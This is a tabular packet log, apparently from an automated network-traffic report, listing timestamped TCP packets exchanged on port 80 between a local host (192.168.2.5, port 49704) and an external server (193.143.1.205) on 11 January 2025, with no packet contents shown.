Jan 11, 2025 04:29:23.431806087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.431906939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.431942940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.432092905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.432102919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.432112932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.432123899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.432131052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.432178974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.432439089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.432447910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.432478905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.461966038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.462057114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.462066889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.462100029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.462167025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.462212086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.462312937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.462322950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.462356091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.462483883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.462495089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.462505102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.462515116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.462532043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.462548971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.462919950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.463057041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.463068008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.463092089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.463404894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.463414907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.463424921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.463437080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.463444948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.463474035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.463834047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.463845015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.463882923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.464181900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.464193106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.464202881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.464214087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.464221001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.464224100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.464235067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.464245081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.464251995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.464279890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.465007067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.465018034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.465028048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.465039968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.465045929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.465084076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.465529919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.465540886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.465550900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.465560913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.465573072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.465579033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.465588093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.465598106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.465603113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.465631962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.466496944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.466507912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.466517925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.466527939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.466537952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.466541052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.466548920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.466557980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.466559887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.466568947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.466572046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.466598034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.467521906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.467533112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.467541933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.467552900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.467560053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.467564106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.467576981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.467586994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.467591047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.467597961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.467617035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.467628956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.468441010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.468452930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.468463898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.468473911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.468482018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.468485117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.468497038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.468497992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.468508005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.468518972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.468524933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.468540907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.469420910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.469433069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.469441891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.469453096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.469464064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.469463110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.469475031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.469485044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.469491005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.469496012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.469502926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.469525099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.470232964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.470247984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.470257998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.470268965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.470269918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.470279932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.470290899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.470295906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.470300913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.470312119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.470321894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.470324993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.470343113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.470355034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.471018076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.471029043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.471064091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.474199057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.474210978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.474220991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.474256039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.474383116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.474392891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.474402905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.474414110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.474419117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.474447966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.489186049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.489249945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.489291906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.489304066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.489335060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.489537954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.489548922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.489558935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.489581108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.489821911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.489856005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.491275072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.517663002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.520250082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.520355940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.520365000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.520395994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.520442963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.520452976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.520498037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.520556927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.520592928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.520713091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.520724058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.520751953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.520965099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.520975113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.520986080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.521003008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.521162033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.521173000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.521183014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.521193981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.521203995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.521222115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.521554947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.521565914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.521576881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.521589041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.521594048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.521599054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.521610975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.521611929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.521636009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.522169113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.522206068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.522223949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.522234917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.522269964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.552009106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.552037001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.552046061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.552073002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.552176952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.552187920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.552215099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.552351952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.552361012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.552388906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.552453995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.552464962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.552495003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.552733898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.552745104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.552755117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.552766085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.552772045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.552777052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.552787066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.552828074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.553294897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.553307056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.553334951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.553483009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.553493023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.553535938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.553685904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.553697109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.553706884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.553716898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.553723097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.553728104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.553750992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.554198027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.554208994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.554219961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.554230928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.554235935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.554258108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.554703951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.554716110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.554724932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.554735899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.554740906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.554748058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.554757118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.554759026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.554769993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.554790020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.554802895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.555548906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.555560112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.555569887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.555581093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.555592060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.555603027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.555604935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.555613041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.555624008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.555627108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.555644989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.555664062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.556406021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.556417942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.556428909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.556441069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.556451082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.556452990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.556463003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.556473017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.556480885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.556483984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.556502104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.556523085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.557257891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.557270050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.557281017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.557291031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.557301998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.557302952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.557313919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.557323933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.557331085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.557334900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.557353973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.557374001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.558137894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.558149099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.558161020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.558171988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.558182955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.558185101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.558192968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.558198929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.558199883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.558228016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.559004068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.559015036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.559025049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.559036016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.559041977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.559046984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.559057951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.559062958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.559068918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.559078932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.559089899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.559111118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.559684038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.559700012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.559710979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.559727907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.559734106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.559752941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.563378096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.563446045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.563457012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.563468933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.563497066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.563627958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.563672066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.563682079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.563711882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.582067966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.582089901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.582120895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.582185984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.582221985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.582321882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.582331896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.582359076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.582470894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.582516909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.582550049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.582653999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.582664967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.582674980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.582690954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.582969904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.582979918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.582990885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.583005905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.583030939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.609632015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.609646082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.609657049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.609694958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.609766006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.609776974 CET	80	49704	193.143.1.205	192.168.2.5
